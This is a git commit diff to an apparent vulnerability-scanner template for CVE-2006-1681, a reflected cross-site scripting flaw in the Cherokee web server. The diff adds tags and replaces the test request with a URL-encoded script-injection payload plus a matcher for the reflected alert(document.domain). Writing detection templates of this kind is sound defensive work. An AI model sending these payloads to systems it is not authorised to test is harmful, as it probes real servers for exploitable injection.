Update CVE-2006-1681.yaml

patch-1
Prince Chaddha 2021-08-07 14:40:03 +05:30 committed by GitHub
parent 12c2c849b9
commit b030d433dc
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 3 deletions

View File

@ -8,12 +8,12 @@ info:
- https://nvd.nist.gov/vuln/detail/CVE-2006-1681
author: geeknik
severity: medium
tags: cherokee,httpd,xss
tags: cherokee,httpd,xss,cve,cve2006
requests:
- method: GET
path:
- "{{BaseURL}}/%2F..%3Cscript%3Ealert(%22{{randstr}}%22)%3B%3Cscript%3E"
- "{{BaseURL}}/%2F..%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
@ -22,4 +22,4 @@ requests:
- 200
- type: word
words:
- "<script>alert(\"{{randstr}}\");<script>"
- "</script><script>alert(document.domain)</script>"